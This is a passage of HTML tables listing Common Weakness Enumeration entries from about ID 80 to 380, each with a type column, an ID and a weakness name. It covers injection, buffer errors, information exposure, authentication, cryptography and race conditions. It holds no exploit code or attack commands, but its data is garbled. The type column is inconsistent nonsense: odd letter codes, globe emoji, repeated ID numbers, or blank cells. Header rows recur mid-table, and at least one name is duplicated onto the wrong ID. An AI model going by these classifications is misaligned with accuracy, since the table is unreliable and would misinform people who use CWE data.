<td>80</td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
</tr>
<tr>
<td>AI</td>
<td>81</td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
</tr>
<tr>
<td>AI</td>
<td>82</td>
<td>Improper Neutralization of Script in Attributes of IMG Tags in a Web Page</td>
</tr>
<tr>
<td>AI</td>
<td>83</td>
<td>Improper Neutralization of Script in Attributes in a Web Page</td>
</tr>
<tr>
<td>AI</td>
<td>84</td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page</td>
</tr>
<tr>
<td>AI</td>
<td>85</td>
<td>Doubled Character XSS Manipulations</td>
</tr>
<tr>
<td>A</td>
<td>86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
</tr>
<tr>
<td>AI</td>
<td>87</td>
<td>Improper Neutralization of Alternate XSS Syntax</td>
</tr>
<tr>
<td>A</td>
<td>88</td>
<td>Argument Injection or Modification</td>
</tr>
<tr>
<td>AI</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>AI</td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
</tr>
<tr>
<td>A</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
</tr>
<tr>
<td>A</td>
<td>92</td>
<td>DEPRECATED: Improper Sanitization of Custom Special Characters</td>
</tr>
<tr>
<td>AI</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
</tr>
<tr>
<td>AI</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
</tr>
<tr>
<td>AI</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
</tr>
<tr>
<td>AI</td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
</tr>
<tr>
<td>AI</td>
<td>97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
</tr>
<tr>
<td>B</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
</tr>
<tr>
<td>A</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
</tr>
<tr>
<td>C</td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
</tr>
<tr>
<td>C</td>
<td>101</td>
<td>Struts Validation Problems</td>
</tr>
<tr>
<td>A</td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
</tr>
<tr>
<td>A</td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
</tr>
<tr>
<td>A</td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
</tr>
<tr>
<td>A</td>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
</tr>
<tr>
<td>A</td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
</tr>
<tr>
<td>A</td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
</tr>
<tr>
<td>A</td>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
</tr>
<tr>
<td>A</td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
</tr>
<tr>
<td>A</td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
</tr>
<tr>
<td>B</td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
</tr>
<tr>
<td>B</td>
<td>112</td>
<td>Missing XML Validation</td>
</tr>
<tr>
<td>B</td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
</tr>
<tr>
<td>B</td>
<td>114</td>
<td>Process Control</td>
</tr>
<tr>
<td>B</td>
<td>115</td>
<td>Misinterpretation of Input</td>
</tr>
<tr>
<td>C</td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
</tr>
<tr>
<td>B</td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
</tr>
<tr>
<td>C</td>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
</tr>
<tr>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td>B</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>V</td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
</tr>
<tr>
<td>V</td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
</tr>
<tr>
<td>B</td>
<td>123</td>
<td>Write-what-where Condition</td>
</tr>
<tr>
<td>B</td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
</tr>
<tr>
<td>B</td>
<td>125</td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td>B</td>
<td>126</td>
<td>Buffer Over-read</td>
</tr>
</tbody>
</table>

1420
<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>127</td>
<td>Buffer Under-read</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>Wrap-around Error</td>
</tr>
<tr>
<td></td>
<td>129</td>
<td>Improper Validation of Array Index</td>
</tr>
<tr>
<td></td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
</tr>
<tr>
<td></td>
<td>132</td>
<td>DEPRECATED (Duplicate): Miscalculated Null Termination</td>
</tr>
<tr>
<td></td>
<td>133</td>
<td>String Errors</td>
</tr>
<tr>
<td></td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
</tr>
<tr>
<td></td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
</tr>
<tr>
<td></td>
<td>136</td>
<td>Type Errors</td>
</tr>
<tr>
<td></td>
<td>137</td>
<td>Representation Errors</td>
</tr>
<tr>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
</tr>
<tr>
<td></td>
<td>139</td>
<td>DEPRECATED: General Special Element Problems</td>
</tr>
<tr>
<td></td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
</tr>
<tr>
<td></td>
<td>141</td>
<td>Improper Neutralization of Parameter/Argument Delimiters</td>
</tr>
<tr>
<td></td>
<td>142</td>
<td>Improper Neutralization of Value Delimiters</td>
</tr>
<tr>
<td></td>
<td>143</td>
<td>Improper Neutralization of Record Delimiters</td>
</tr>
<tr>
<td></td>
<td>144</td>
<td>Improper Neutralization of Line Delimiters</td>
</tr>
<tr>
<td></td>
<td>145</td>
<td>Improper Neutralization of Section Delimiters</td>
</tr>
<tr>
<td></td>
<td>146</td>
<td>Improper Neutralization of Expression/Command Delimiters</td>
</tr>
<tr>
<td></td>
<td>147</td>
<td>Improper Neutralization of Input Terminators</td>
</tr>
<tr>
<td></td>
<td>148</td>
<td>Improper Neutralization of Input Leaders</td>
</tr>
<tr>
<td></td>
<td>149</td>
<td>Improper Neutralization of Quoting Syntax</td>
</tr>
<tr>
<td></td>
<td>150</td>
<td>Improper Neutralization of Escape, Meta, or Control Sequences</td>
</tr>
<tr>
<td></td>
<td>151</td>
<td>Improper Neutralization of Comment Delimiters</td>
</tr>
<tr>
<td></td>
<td>152</td>
<td>Improper Neutralization of Macro Symbols</td>
</tr>
<tr>
<td></td>
<td>153</td>
<td>Improper Neutralization of Substitution Characters</td>
</tr>
<tr>
<td></td>
<td>154</td>
<td>Improper Neutralization of Variable Name Delimiters</td>
</tr>
<tr>
<td></td>
<td>155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
</tr>
<tr>
<td></td>
<td>156</td>
<td>Improper Neutralization of Whitespace</td>
</tr>
<tr>
<td></td>
<td>157</td>
<td>Failure to Sanitize Paired Delimiters</td>
</tr>
<tr>
<td></td>
<td>158</td>
<td>Improper Neutralization of Null Byte or NUL Character</td>
</tr>
<tr>
<td></td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
</tr>
<tr>
<td></td>
<td>160</td>
<td>Improper Neutralization of Leading Special Elements</td>
</tr>
<tr>
<td></td>
<td>161</td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
</tr>
<tr>
<td></td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
</tr>
<tr>
<td></td>
<td>163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements</td>
</tr>
<tr>
<td></td>
<td>164</td>
<td>Improper Neutralization of Internal Special Elements</td>
</tr>
<tr>
<td></td>
<td>165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
</tr>
<tr>
<td></td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
</tr>
<tr>
<td></td>
<td>167</td>
<td>Improper Handling of Additional Special Element</td>
</tr>
<tr>
<td></td>
<td>168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
</tr>
<tr>
<td></td>
<td>169</td>
<td>Technology-Specific Special Elements</td>
</tr>
<tr>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
</tr>
<tr>
<td></td>
<td>172</td>
<td>Encoding Error</td>
</tr>
<tr>
<td></td>
<td>173</td>
<td>Improper Handling of Alternate Encoding</td>
</tr>
<tr>
<td></td>
<td>174</td>
<td>Double Decoding of the Same Data</td>
</tr>
<tr>
<td></td>
<td>175</td>
<td>Improper Handling of Mixed Encoding</td>
</tr>
<tr>
<td></td>
<td>176</td>
<td>Improper Handling of Unicode Encoding</td>
</tr>
<tr>
<td></td>
<td>177</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>E</td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
</tr>
<tr>
<td>E</td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
</tr>
<tr>
<td>E</td>
<td>180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
</tr>
<tr>
<td>E</td>
<td>181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
</tr>
<tr>
<td>E</td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td>E</td>
<td>183</td>
<td>Permissive Whitelist</td>
</tr>
<tr>
<td>E</td>
<td>184</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
</tr>
<tr>
<td>E</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
</tr>
<tr>
<td>E</td>
<td>186</td>
<td>Overly Restrictive Regular Expression</td>
</tr>
<tr>
<td>E</td>
<td>187</td>
<td>Partial Comparison</td>
</tr>
<tr>
<td>E</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td>C</td>
<td>189</td>
<td>Numeric Errors</td>
</tr>
<tr>
<td>E</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
</tr>
<tr>
<td>E</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td>C</td>
<td>192</td>
<td>Integer Coercion Error</td>
</tr>
<tr>
<td>E</td>
<td>193</td>
<td>Off-by-one Error</td>
</tr>
<tr>
<td>E</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
</tr>
<tr>
<td>E</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
</tr>
<tr>
<td>E</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
</tr>
<tr>
<td>E</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>E</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
</tr>
<tr>
<td>C</td>
<td>199</td>
<td>Information Management Errors</td>
</tr>
<tr>
<td>E</td>
<td>200</td>
<td>Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
</tr>
<tr>
<td>V</td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
</tr>
<tr>
<td>E</td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
</tr>
<tr>
<td>V</td>
<td>204</td>
<td>Response Discrepancy Information Exposure</td>
</tr>
<tr>
<td>B</td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
</tr>
<tr>
<td>V</td>
<td>206</td>
<td>Information Exposure of Internal State Through Behavioral Inconsistency</td>
</tr>
<tr>
<td>V</td>
<td>207</td>
<td>Information Exposure Through an External Behavioral Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
</tr>
<tr>
<td>B</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>B</td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
</tr>
<tr>
<td>B</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
</tr>
<tr>
<td>B</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
</tr>
<tr>
<td>B</td>
<td>213</td>
<td>Intentional Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>214</td>
<td>Information Exposure Through Process Environment</td>
</tr>
<tr>
<td>B</td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
</tr>
<tr>
<td>C</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
</tr>
<tr>
<td>G</td>
<td>217</td>
<td>DEPRECATED: Failure to Protect Stored Data from Modification</td>
</tr>
<tr>
<td>G</td>
<td>218</td>
<td>DEPRECATED (Duplicate): Failure to provide confidentiality for stored data</td>
</tr>
<tr>
<td>V</td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
</tr>
<tr>
<td>W</td>
<td>220</td>
<td>Sensitive Data Under FTP Root</td>
</tr>
<tr>
<td>C</td>
<td>221</td>
<td>Information Loss or Omission</td>
</tr>
<tr>
<td>B</td>
<td>222</td>
<td>Truncation of Security-relevant Information</td>
</tr>
<tr>
<td>B</td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
</tr>
<tr>
<td>B</td>
<td>224</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
</tr>
<tr>
<td>G</td>
<td>225</td>
<td>DEPRECATED (Duplicate): General Information Management Problems</td>
</tr>
<tr>
<td>B</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
</tr>
<tr>
<td>G</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
</tr>
<tr>
<td>G</td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>🌐</td>
<td>229</td>
<td>Improper Handling of Values</td>
</tr>
<tr>
<td>🌐</td>
<td>230</td>
<td>Improper Handling of Missing Values</td>
</tr>
<tr>
<td>🌐</td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
</tr>
<tr>
<td>🌐</td>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
</tr>
<tr>
<td>🌐</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
</tr>
<tr>
<td>🌐</td>
<td>234</td>
<td>Failure to Handle Missing Parameter</td>
</tr>
<tr>
<td>🌐</td>
<td>235</td>
<td>Improper Handling of Extra Parameters</td>
</tr>
<tr>
<td>🌐</td>
<td>236</td>
<td>Improper Handling of Undefined Parameters</td>
</tr>
<tr>
<td>🌐</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
</tr>
<tr>
<td>🌐</td>
<td>238</td>
<td>Improper Handling of Incomplete Structural Elements</td>
</tr>
<tr>
<td>🌐</td>
<td>239</td>
<td>Failure to Handle Incomplete Element</td>
</tr>
<tr>
<td>🌐</td>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
</tr>
<tr>
<td>🌐</td>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
</tr>
<tr>
<td>🌐</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>🌐</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
</tr>
<tr>
<td>🌐</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release (‘Heap Inspection’)</td>
</tr>
<tr>
<td>🌐</td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
</tr>
<tr>
<td>🌐</td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
</tr>
<tr>
<td>🌐</td>
<td>247</td>
<td>DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision</td>
</tr>
<tr>
<td>🌐</td>
<td>248</td>
<td>Uncaught Exception</td>
</tr>
<tr>
<td>🌐</td>
<td>249</td>
<td>DEPRECATED: Often Misused: Path Manipulation</td>
</tr>
<tr>
<td>🌐</td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>🌐</td>
<td>251</td>
<td>Often Misused: String Management</td>
</tr>
<tr>
<td>🌐</td>
<td>252</td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td>🌐</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
</tr>
<tr>
<td>🌐</td>
<td>254</td>
<td>Security Features</td>
</tr>
<tr>
<td>🌐</td>
<td>255</td>
<td>Credentials Management</td>
</tr>
<tr>
<td>🌐</td>
<td>256</td>
<td>Plaintext Storage of a Password</td>
</tr>
<tr>
<td>🌐</td>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
</tr>
<tr>
<td>🌐</td>
<td>258</td>
<td>Empty Password in Configuration File</td>
</tr>
<tr>
<td>🌐</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
</tr>
<tr>
<td>🌐</td>
<td>260</td>
<td>Password in Configuration File</td>
</tr>
<tr>
<td>🌐</td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
</tr>
<tr>
<td>🌐</td>
<td>262</td>
<td>Not Using Password Aging</td>
</tr>
<tr>
<td>🌐</td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
</tr>
<tr>
<td>🌐</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
</tr>
<tr>
<td>🌐</td>
<td>265</td>
<td>Privilege / Sandbox Issues</td>
</tr>
<tr>
<td>🌐</td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
</tr>
<tr>
<td>🌐</td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
</tr>
<tr>
<td>🌐</td>
<td>268</td>
<td>Privilege Chaining</td>
</tr>
<tr>
<td>🌐</td>
<td>269</td>
<td>Improper Privilege Management</td>
</tr>
<tr>
<td>🌐</td>
<td>270</td>
<td>Privilege Context Switching Error</td>
</tr>
<tr>
<td>🌐</td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
</tr>
<tr>
<td>🌐</td>
<td>272</td>
<td>Least Privilege Violation</td>
</tr>
<tr>
<td>🌐</td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
</tr>
<tr>
<td>🌐</td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
</tr>
<tr>
<td>🌐</td>
<td>275</td>
<td>Permission Issues</td>
</tr>
<tr>
<td>🌐</td>
<td>276</td>
<td>Incorrect Default Permissions</td>
</tr>
<tr>
<td>🌐</td>
<td>277</td>
<td>Insecure Inherited Permissions</td>
</tr>
<tr>
<td>🌐</td>
<td>278</td>
<td>Insecure Preserved Inherited Permissions</td>
</tr>
<tr>
<td>🌐</td>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>B</td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
</tr>
<tr>
<td>C</td>
<td>281</td>
<td>Improper Preservation of Permissions</td>
</tr>
<tr>
<td>C</td>
<td>282</td>
<td>Improper Ownership Management</td>
</tr>
<tr>
<td>E</td>
<td>283</td>
<td>Unverified Ownership</td>
</tr>
<tr>
<td>C</td>
<td>284</td>
<td>Improper Access Control</td>
</tr>
<tr>
<td>C</td>
<td>285</td>
<td>Improper Authorization</td>
</tr>
<tr>
<td>C</td>
<td>286</td>
<td>Incorrect User Management</td>
</tr>
<tr>
<td>B</td>
<td>287</td>
<td>Improper Authentication</td>
</tr>
<tr>
<td>B</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
</tr>
<tr>
<td>B</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
</tr>
<tr>
<td>B</td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
</tr>
<tr>
<td>C</td>
<td>291</td>
<td>Reliance on IP Address for Authentication</td>
</tr>
<tr>
<td>C</td>
<td>292</td>
<td>DEPRECATED (Duplicate): Trusting Self-reported DNS Name</td>
</tr>
<tr>
<td>V</td>
<td>293</td>
<td>Using Referer Field for Authentication</td>
</tr>
<tr>
<td>B</td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
</tr>
<tr>
<td>B</td>
<td>295</td>
<td>Improper Certificate Validation</td>
</tr>
<tr>
<td>B</td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
</tr>
<tr>
<td>V</td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
</tr>
<tr>
<td>V</td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
</tr>
<tr>
<td>V</td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
</tr>
<tr>
<td>C</td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint ('Man-in-the-Middle')</td>
</tr>
<tr>
<td>V</td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
</tr>
<tr>
<td>V</td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
</tr>
<tr>
<td>B</td>
<td>303</td>
<td>Incorrect Implementation of Authentication Algorithm</td>
</tr>
<tr>
<td>B</td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
</tr>
<tr>
<td>V</td>
<td>305</td>
<td>Authentication Bypass by Primary Weakness</td>
</tr>
<tr>
<td>V</td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
</tr>
<tr>
<td>B</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
</tr>
<tr>
<td>B</td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
</tr>
<tr>
<td>B</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
</tr>
<tr>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
</tr>
<tr>
<td>B</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>B</td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
<tr>
<td>V</td>
<td>313</td>
<td>Cleartext Storage in a File or on Disk</td>
</tr>
<tr>
<td>V</td>
<td>314</td>
<td>Cleartext Storage in the Registry</td>
</tr>
<tr>
<td>V</td>
<td>315</td>
<td>Cleartext Storage of Sensitive Information in a Cookie</td>
</tr>
<tr>
<td>V</td>
<td>316</td>
<td>Cleartext Storage of Sensitive Information in Memory</td>
</tr>
<tr>
<td>V</td>
<td>317</td>
<td>Cleartext Storage of Sensitive Information in GUI</td>
</tr>
<tr>
<td>V</td>
<td>318</td>
<td>Cleartext Storage of Sensitive Information in Executable</td>
</tr>
<tr>
<td>B</td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
</tr>
<tr>
<td>C</td>
<td>320</td>
<td>Key Management Errors</td>
</tr>
<tr>
<td>B</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
</tr>
<tr>
<td>B</td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
</tr>
<tr>
<td>B</td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
</tr>
<tr>
<td>B</td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
</tr>
<tr>
<td>B</td>
<td>325</td>
<td>Missing RequiredCryptographic Step</td>
</tr>
<tr>
<td>C</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
</tr>
<tr>
<td>B</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
</tr>
<tr>
<td>B</td>
<td>328</td>
<td>Reversible One-Way Hash</td>
</tr>
<tr>
<td>V</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
</tr>
<tr>
<td>C</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>331</td>
<td>331</td>
<td>Insufficient Entropy</td>
</tr>
<tr>
<td>332</td>
<td>332</td>
<td>Insufficient Entropy in PRNG</td>
</tr>
<tr>
<td>333</td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
</tr>
<tr>
<td>334</td>
<td>334</td>
<td>Small Space of Random Values</td>
</tr>
<tr>
<td>335</td>
<td>335</td>
<td>PRNG Seed Error</td>
</tr>
<tr>
<td>336</td>
<td>336</td>
<td>Same Seed in PRNG</td>
</tr>
<tr>
<td>337</td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
</tr>
<tr>
<td>338</td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
</tr>
<tr>
<td>339</td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
</tr>
<tr>
<td>340</td>
<td>340</td>
<td>Predictability Problems</td>
</tr>
<tr>
<td>341</td>
<td>341</td>
<td>Predictable from Observable State</td>
</tr>
<tr>
<td>342</td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
</tr>
<tr>
<td>343</td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
</tr>
<tr>
<td>344</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
</tr>
<tr>
<td>345</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
</tr>
<tr>
<td>346</td>
<td>346</td>
<td>Origin Validation Error</td>
</tr>
<tr>
<td>347</td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
<tr>
<td>348</td>
<td>348</td>
<td>Use of Less Trusted Source</td>
</tr>
<tr>
<td>349</td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
</tr>
<tr>
<td>350</td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
</tr>
<tr>
<td>351</td>
<td>351</td>
<td>Insufficient Type Distinction</td>
</tr>
<tr>
<td>352</td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>353</td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
</tr>
<tr>
<td>354</td>
<td>354</td>
<td>Improper Validation of Integrity Check</td>
</tr>
<tr>
<td>355</td>
<td>355</td>
<td>User Interface Security Issues</td>
</tr>
<tr>
<td>356</td>
<td>356</td>
<td>Product UI does not Warn User of Unsafe Actions</td>
</tr>
<tr>
<td>357</td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
</tr>
<tr>
<td>358</td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
<tr>
<td>359</td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
</tr>
<tr>
<td>360</td>
<td>360</td>
<td>Trust of System Event Data</td>
</tr>
<tr>
<td>361</td>
<td>361</td>
<td>Time and State</td>
</tr>
<tr>
<td>362</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td>363</td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
</tr>
<tr>
<td>364</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td>365</td>
<td>365</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td>366</td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td>367</td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
</tr>
<tr>
<td>368</td>
<td>368</td>
<td>Context Switching Race Condition</td>
</tr>
<tr>
<td>369</td>
<td>369</td>
<td>Divide By Zero</td>
</tr>
<tr>
<td>370</td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
</tr>
<tr>
<td>371</td>
<td>371</td>
<td>State Issues</td>
</tr>
<tr>
<td>372</td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
</tr>
<tr>
<td>373</td>
<td>373</td>
<td>DEPRECATED: State Synchronization Error</td>
</tr>
<tr>
<td>374</td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td>375</td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td>376</td>
<td>376</td>
<td>Temporary File Issues</td>
</tr>
<tr>
<td>377</td>
<td>377</td>
<td>Insecure Temporary File</td>
</tr>
<tr>
<td>378</td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
</tr>
<tr>
<td>379</td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
</tr>
<tr>
<td>380</td>
<td>380</td>
